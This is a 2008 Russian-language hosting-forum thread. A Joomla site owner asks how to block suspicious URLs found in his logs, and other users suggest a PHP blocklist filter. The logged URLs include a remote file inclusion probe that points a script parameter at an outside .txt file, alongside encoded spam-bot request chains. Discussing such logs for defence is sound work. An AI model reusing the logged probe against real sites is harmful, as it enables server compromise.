EOMY.NET
Хостинг EOMY.NET: Форум поддержки
 
 FAQFAQ   ПоискПоиск   ПользователиПользователи   ГруппыГруппы   РегистрацияРегистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 

RSS Feed

запретить упоменание сочетание букв в урлы через htaccess

 
Начать новую тему   Ответить на тему    Список форумов EOMY.NET -> Программирование для WEB
запретить упоменание сочетание букв в урлы через htaccess
Автор Сообщение
uforum
$a ||= 5;
$a ||= 5;


Зарегистрирован: 22.01.2008
Сообщения: 715
Откуда: Литва
4862 Монеты

СообщениеДобавлено: Вт, 18 Ноя, 2008 17:01    Заголовок сообщения: запретить упоменание сочетание букв в урлы через htaccess Ответить с цитатой

Меня интересует можно сделать так или нет
У меня каждый день в логи такие урлы по многу раз

http://uforum.vhost.lt/component/option,com_fireboard/Itemid,34/func,post/do,reply/catid,16/+%5BPLM=0%5D%5BR%5D+GET+http://uforum.org.ua/component/option,com_comprofiler/task,registers/+%5B0,40003,41026%5D+-%3E+%5BR%5D+POST+http://uforum.org.ua/component/option,com_comprofiler/+%5B0,8486,24294%5D+-%3E+%5BL%5D+POST+http://uforum.org.ua/component/option,com_comprofiler/task,login/+%5BR=301%5D%5B0,0,271%5D+-%3E+%5BL%5D+GET+http://uforum.org.ua/component/option,com_fireboard/Itemid,41/+%5B0,0,85568%5D+-%3E+%5BN%5D+GET+http://aeroos.info/component/option,com_fireboard/Itemid,34/func,view/id,250/view,threaded/catid,16/+%5B0,0,53572%5D+-%3E+%5BN%5D+GET+http://uforum.org.ua/index.php?option=com_content&task=new&sectionid=1&Itemid=0+%5B0,0,24708%5D+-%3E+%5BN%5D+GET+http://uforum.org.ua/component/option,com_fireboard/Itemid,34/func,post/do,reply/catid,16/+%5B0,63542,66046%5D+-%3E+%5BN%5D+POST+http://uforum.org.ua/component/option,com_fireboard/Itemid,34/func,post/+%5B0,0,31290%5D+-%3E+%5BN%5D+GET+http://uforum.org.ua/component/option,com_fireboard/Itemid,34/func,post/do,reply/catid,16/+%5B0,0,66046%5D+-%3E+%5BN%5D+GET+http://uforum.org.ua/images/favicon.bmp+%5B34222,0,26077%5D

или такие

http://uforum.vhost.lt/components/com_joomla-visites/joomla-visites.php?url=http%3A//uforum.vhost.lt/component/option%2Ccom_fireboard/Itemid%2C34/func%2Cpost/do%2Creply/catid%2C16/+%255BPLM%3D0%255D%255BR%255D+GET+http%3A//uforum.org.ua/component/option%2Ccom_comprofiler/task%2Cregisters/+%255B0%2C40003%2C41026%255D+-%253E+%255BR%255D+POST+http%3A//uforum.org.ua/component/option%2Ccom_comprofiler/+%255B0%2C8486%2C24294%255D+-%253E+%255BL%255D+POST+http%3A//uforum.org.ua/component/option%2Ccom_comprofiler/task%2Clogin/+%255BR%3D301%255D%255B0%2C0%2C271%255D+-%253E+%255BL%255D+GET+http%3A//uforum.org.ua/component/option%2Ccom_fireboard/Itemid%2C41/+%255B0%2C0%2C85568%255D+-%253E+%255BN%255D+GET+http%3A//aeroos.info/component/option%2Ccom_fireboard/Itemid%2C34/func%2Cview/id%2C250/view%2Cthreaded/catid%2C16/+%255B0%2C0%2C53572%255D+-%253E+%255BN%255D+GET+http%3A//uforum.org.ua/index.php%3Foption%3Dcom_content%26task%3Dnew%26sectionid%3D1%26Itemid%3D0+%255B0%2C0%2C24708%255D+-%253E+%255BN%255D+GET+http%3A//uforum.org.ua/component/option%2Ccom_fireboard/Itemid%2C34/func%2Cpost/do%2Creply/catid%2C16/+%255B0%2C63542%2C66046%255D+-%253E+%255BN%255D+POST+http%3A//uforum.org.ua/component/option%2Ccom_fireboard/Itemid%2C34/func%2Cpost/+%255B0%2C0%2C31290%255D+-%253E+%255BN%255D+GET+http%3A//uforum.org.ua/component/option%2Ccom_fireboard/Itemid%2C34/func%2Cpost/do%2Creply/catid%2C16/+%255B0%2C0%2C66046%255D+-%253E+%255BN%255D+GET+http%3A//uforum.org.ua/images/favicon.bmp+%255B34222%2C0%2C26077%255D&pagename=&id=1&res=1680x1050&col=32&h=18&m=48&s=2&flash=undefined&director=undefined&quicktime=undefined&realplayer=undefined&pdf=undefined&windowsmedia=undefined&java=1&ref=&user=0

и такие

http://uforum.vhost.lt/components/com_joomla-visites/joomla-visites.php?url=http%3A//uforum.vhost.lt/content/section/1/2/errors.php%3Ferror%3Dhttp%3A//emrtk.uni-miskolc.hu/forum_hun/language/lang_hungarian_formal/id.txt%3F%3F&pagename=&id=1&res=1680x1050&col=32&h=18&m=46&s=13&flash=undefined&director=undefined&quicktime=undefined&realplayer=undefined&pdf=undefined&windowsmedia=undefined&java=1&ref=&user=0

и их очень много разных

Как с этим бороться запретить их чтоб не получилось взломать?
_________________


http://uforum.org.ua/
Всё про ОС в широком формате

http://bmw3.org.ua/
Всё про BMW 3 и 1 серии
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора Yahoo Messenger
Gosudar
Хостинг — это наше всё!
Хостинг — это наше всё!


Зарегистрирован: 08.04.2007
Сообщения: 169

2400 Монеты

СообщениеДобавлено: Вт, 18 Ноя, 2008 17:19    Заголовок сообщения: Ответить с цитатой

не знаю как для джумлы, но я уже выкладывал здесь на форуме код, который режет "плохие" запросы.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Посетить сайт автора
Веденин
$a ||= 5;
$a ||= 5;


Зарегистрирован: 17.05.2007
Сообщения: 1068
Откуда: Самара
4489 Монеты

СообщениеДобавлено: Ср, 19 Ноя, 2008 04:35    Заголовок сообщения: Ответить с цитатой

Посмотрите здесь: http://www.eomy.net/forum/poleznye-skripty-na-php-tolko-skripty-vt3081.html#31324

Суть в том что в эту фунцию надо добавить все параметры, которые может принимать ваши скрипты, а остальные параметры будут вырезатся автоматом.
_________________
Тематические поисковые системы Рунета: Танцевальная, программиста, поиск книг, спортивная, энциклопедическая, поиск музыки и видео и много других
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
uforum
$a ||= 5;
$a ||= 5;


Зарегистрирован: 22.01.2008
Сообщения: 715
Откуда: Литва
4862 Монеты

СообщениеДобавлено: Ср, 19 Ноя, 2008 05:24    Заголовок сообщения: Ответить с цитатой

Спасибо но Джумла вместе со своими компонентами принемает огромное кол-во параметров
_________________


http://uforum.org.ua/
Всё про ОС в широком формате

http://bmw3.org.ua/
Всё про BMW 3 и 1 серии
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора Yahoo Messenger
Веденин
$a ||= 5;
$a ||= 5;


Зарегистрирован: 17.05.2007
Сообщения: 1068
Откуда: Самара
4489 Монеты

СообщениеДобавлено: Ср, 19 Ноя, 2008 13:39    Заголовок сообщения: Ответить с цитатой

Ну можно переделать так чтобы вырезать только левые параметры (по логам)
_________________
Тематические поисковые системы Рунета: Танцевальная, программиста, поиск книг, спортивная, энциклопедическая, поиск музыки и видео и много других
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
uforum
$a ||= 5;
$a ||= 5;


Зарегистрирован: 22.01.2008
Сообщения: 715
Откуда: Литва
4862 Монеты

СообщениеДобавлено: Ср, 19 Ноя, 2008 14:00    Заголовок сообщения: Ответить с цитатой

Веденин
Как
_________________


http://uforum.org.ua/
Всё про ОС в широком формате

http://bmw3.org.ua/
Всё про BMW 3 и 1 серии
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора Yahoo Messenger
lazutov
$a ||= 5;
$a ||= 5;


Зарегистрирован: 30.04.2007
Сообщения: 2259

38243 Монеты

СообщениеДобавлено: Ср, 19 Ноя, 2008 14:58    Заголовок сообщения: Ответить с цитатой

if (strpos(...)>0) die('hackerproof');
_________________
Блог, рынок VDS | whois-сервис с дополнительными возможностями
Регистрация доменов RU(3 регистратора, прямые договора)-150р и дешевле Smile - в ЛС
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Веденин
$a ||= 5;
$a ||= 5;


Зарегистрирован: 17.05.2007
Сообщения: 1068
Откуда: Самара
4489 Монеты

СообщениеДобавлено: Ср, 19 Ноя, 2008 19:08    Заголовок сообщения: Ответить с цитатой

uforum писал(а):
Веденин
Как

Просто в $prm хранить не список допустимых параметров,
а наоборот список неправильных и сделать переадресацию
к примеру на главную страницу при левом параметре, примерно так:

Код:
function deleteErrorPrm($domain,$prm){ 
 if($_GET) {
 foreach($_GET as $key => $value)
   if(strpos(' '.$prm,'@'.$key.'@')>0) {
      header('Location:'.$domain);
      exit();
   }   
}
}


P.S. В $prm хранить список неправильных параметров через @ ,
например @get@post@select@insert@ , в $domain - url
главной страницы с http:// например так http://vedenin.ru/index.php
P.P.S. При неправильном параметре например таком ?insert++get=t
произойдет переадресация на нужный url (имеется в виду имя
параметра)
_________________
Тематические поисковые системы Рунета: Танцевальная, программиста, поиск книг, спортивная, энциклопедическая, поиск музыки и видео и много других
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
Показать сообщения:   
Начать новую тему   Ответить на тему    Список форумов EOMY.NET -> Программирование для WEB Часовой пояс: GMT
Страница 1 из 1

 


EOMY TOP 100 Rambler's Top100   Рейтинг@Mail.ru    



Powered by phpBB © 2001, 2005 phpBB Group






Рейтинг SIMPLETOP.NET